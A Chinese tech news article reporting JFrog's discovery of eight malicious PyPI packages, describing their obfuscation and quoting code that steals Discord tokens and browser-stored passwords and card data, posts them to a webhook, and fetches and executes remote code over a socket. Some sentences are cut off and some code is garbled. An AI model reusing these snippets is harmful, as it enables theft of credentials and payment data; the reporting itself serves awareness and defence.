资讯详情

危!Python 官方存储库 PyPI 再成“祸源”?

dd313e11b923bcc859aa53007f9596d6.gif

整理 | 郑丽媛

出品 | CSDN(ID:CSDNnews)

PyPI,作为 Python 官方第三方软件包存储库一直受到开发者的广泛欢迎。每个人都可以下载第三方库或上传自己开发的库 PyPI,还有类似的 Ruby 的 RubyGems 和 JavaScript 的 NPM。

然而,正因为如此,这些流行的存储库经常被滥用,许多恶意软件被隐藏起来,加上其官方第三方存储库的身份,开发人员很容易盲目地信任和安装这些来源的软件包。因此,一旦恶意软件成功上传到这些存储库,其致命性就不容低估。

近日,DevOps 软件供应商 JFrog 安全研究团队在 PyPI 中又

而根据 PePy 网站(统计 Python 统计包下载网站),

以下是 JFrog 在 PyPI 中发现的 8 恶意软件包:

这个可以从表中看出 8 个恶意软件包主要分为两种:

  • 一种是 noblesse 及其变体 genesisbot、aryi、suffer、noblesse2 和 noblessev2,主要在 Windows 系统上窃取 Discord 浏览器存储的登录信息和信用卡信息;

  • 另一种是 pytagora 及其变体 pytagora2.恶意代码主要注入感染设备并执行。

JFrog 通过分析,安全研究团队了解到这一点 8 恶意软件包使用相同的混淆技术成功上传到 PyPI:首先,使用一些简单的编码器(例如 Base64)编码 Python 文本;然后,用 eval()函数评估解码文本作为代码。恶意软件包 nobleesse2 主代码如下:

import base64, codecs magic = 'aW1wb3J0IGNvbG9yYW1hLCBkYXRldGltZS...' love = '0iLKOcY3L4Y2q1nJkxpl97nJE9Y2EyoTI0M...' god = 'a2luZy5hcHBlbmQodG9rZW4pDQogICAgICAg...' destiny = 'yxIKAVDaAQK3xjpQWkqRAboUcBIzqjEmS...' joy = '\x72\x6f\x74\x31\x33' trust = eval('\x6d\x61\x67\x69\x63')   eval('\x63\x6f\x64\x65\x63\x73\x2e\x64...') eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'','exec'))

由于这种混淆技术可以欺骗相对简单的静态分析工具,这也是许多新手攻击者上传的 Python 一种常用于恶意软件包的方法。

JFrog 首席技术官 Asaf Karas 越来越多的攻击者使用简单的混淆技术来引入恶意软件,这意味着开发人员必须始终保持关注和警惕。这也是一个系统的威胁,需要在不同层面解决,包括软件存储库的维护人员和开发人员。

如上所述,JFrog 安全研究团队发现的这 8 恶意软件包分为两种,其中包括 noblesse 为首的前 6 包含恶意软件 3 个有效负载(payload):

  • 窃取 Discord 身份验证 token

一旦攻击者获得身份验证 token,假装是初始持有 token 用户登录。据了解,盗窃 token 基于此有效负载 dTGPG(Discord Token Grabber Payload Generator),虽然它没有公开发布,但它的有效负载可以在那里 Github 找到相关示例,所以攻击者可以参考。

窃取 Discord 身份验证 token 它迭代了一组硬编码的路径:

local = os.getenv('LOCALAPPDATA') roaming = os.getenv('APPDATA')   paths = {     'Discord': roaming   '\\Discord',     'Discord Canary': roaming   '\\discordcanary',     'Discord PTB': roaming   '\\discordptb',     'Google Chrome': local   '\\Google\\Chrome\\User Data\\Default',     'Opera': roaming   '\\Opera Software\\Opera Stable',     'Brave': local   '\\BraveSoftware\\Brave-Browser\\User Data\\Default',     'Yandex': local   '\\Yandex\\YandexBrowser\\User Data\\Default' }

然后你径下的一切都可以读取 .log 和 .ldb 文件,查找 Discord 身份验证 token,结果通过 Webhook(一种简单的方法将自动获取的信息和数据更新发送到私人服务器)上传到 Discord,参数如下:

{   "type": 1,   "id": "807327703082074143",   "name": "Captain Hook",   "avatar": null,   "channel_id": "725001140324008047",   "guild_id": "720931953251057725",   "application_id": null,   "token": "uwAgm7PQaROJB3USUNDv1RT7uJzfidUsHBsC_y0p2qtChlzNVgpG1vw2zAtkFX-8Xq-x" }
  • 自动窃取所有存储在浏览器上的密码和信用卡数据

众所周知,几乎所有浏览器都支持为用户保存密码和信用卡信息的功能,方便用户,为恶意软件打开大门。noblesse 该系列恶意软件包的第二个有效负载是自动窃取浏览器上存储的所有密码和信用卡数据。

例如,恶意软件将从 Chrome 在浏览器中窃取信用卡信息:

def cs():     master_key = master()     login_db = os.environ['USERPROFILE']   os.sep   \         r'AppData\Local\Google\Chrome\User Data\default\Web Data'     shutil.copy2(login_db,                  "CCvault.db")     conn = sqlite3.connect("CCvault.db")     cursor = conn.cursor()       try:         cursor.execute("SELECT * FROM credit_cards")         for r in cursor.fetchall():             username = r[1]             encrypted_password = r[4]             decrypted_password = dpw(                 encrypted_password, master_key)             expire_mon = r[2]             expire_year = r[3]             hook.send(f"CARD-NAME: "   usernme + "\nNUMBER: " + decrypted_password + "\nEXPIRY M: " + str(expire_mon) + "\nEXPIRY Y: " + str(expire_year) + "\n" + "*" * 10 + "\n")

也可以从 Edge 浏览器窃取存储的密码和信用卡信息:

login_db = os.environ['USERPROFILE'] + os.sep + r'\AppData\Local\Microsoft\Edge\User Data\Profile 1\Login Data'
...
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
decrypted_password = dpw(encrypted_password, master_key)
if username != "" or decrypted_password != "":
    hook.send(f"URL: " + url + "\nUSER: " + username + "\nPASSWORD: " + decrypted_password + "\n" + "*" * 10 + "\n")

以上所有窃取的信息同样会通过 Webhook 发送给攻击者。

  • 收集受感染 PC 的信息

noblesse 系列的第三个有效负载是收集受感染 PC 的信息,所有信息也将通过同样的 Webhook 落入攻击者手中。

可以收集到的信息包括:IP 地址、计算机名称、用户名、Windows 许可证密钥信息、Windows 版本和屏幕截图。

相比 noblesse 系列,pytagora 系列的 2 个恶意软件包就显得简单许多。在“使 pytagora 定理变得容易”这个介绍的伪装下,该软件包的代码一目了然:

import math
import base64,sys
def hello():
    exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3Qs...'))
def hypotenuse(a,b):
    hello()
    c = math.sqrt(math.pow(a,2) + math.pow(b,2))
    return round(c,2)
def other(c,x):
    y = math.sqrt(math.pow(c,2)-math.pow(x,2))
    return round(y,2)

而通过混淆技术,原代码被解码成如下片段:

import socket,struct,time
s=socket.socket(2,socket.socket.socket.SOCK_STREAM)
s.connect(('172.16.60.80',9009))
l=struct.unpack('>I',s.recv(4))[0]
print (l)
d=s.recv(l)
print (d)
while len(d)>!1:
d+=s.recv(l-len(d))
print (d)
exec(d,{'s':s})

也就是说,pytagora 系列的恶意软件会尝试连接到 TCP 端口 9009 上的私有 IP 地址,然后执行从 socket 中读取的 Python 代码。不过目前不清楚该 IP 地址具体是什么,该地址是否存在恶意软件也未可知。

所幸,

稍微了解的人都知道,PyPI 的滥用问题已持续了很久。

早在 2016 年就有一名大学生将恶意软件包上传至 PyPI,随后在几个月的时间里被运行了四万多次,成功获取了许多设备的最高管理权限;2017 年,斯洛伐克国家安全局(NBU)在 PyPI 中发现了十个恶意软件库;2018 年,一位安全研究者 Bertus 对 PyPI 进行安全扫描时也发现了 12 个恶意软件包,不仅可以开启后门,还可以盗取比特币。

甚至今年仅到目前为止,都已经发生过两次危机:一次是 5 月被黑客通过发布垃圾软件包发起洪水攻击;一次是 6 月发现被下载约 5000 次的假冒软件包。

这类问题的层出不穷或许要归咎于公共软件存储库缺乏自动化安全控制,因此即使是没有经验的攻击者也可以将其用作传播恶意软件的平台。这也令 JFrog 研究人员感到担忧,他表示:“基于当前存储库安全状态,未来互联网很可能还会遭遇更多攻击。”

参考链接:

  • https://arstechnica.com/gadgets/2021/07/malicious-pypi-packages-caught-stealing-developer-data-and-injecting-code/?comments=1&post=40097199

  • https://jfrog.com/blog/malicious-pypi-packages-stealing-credit-cards-injecting-code/

 
     
 
     
 
     
 
     
 
     
 
     
 
     
 
     
 
     

 
     

☞华为诉争“鸿蒙HongMeng”商标再被驳回;比尔盖茨夫妇正式离婚;iOS 15“查找”新功能,关机也能用|极客头条☞.NET 靠开源再“出圈”!☞苹果“重心”转移,终端退位?

标签: aw连接器

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台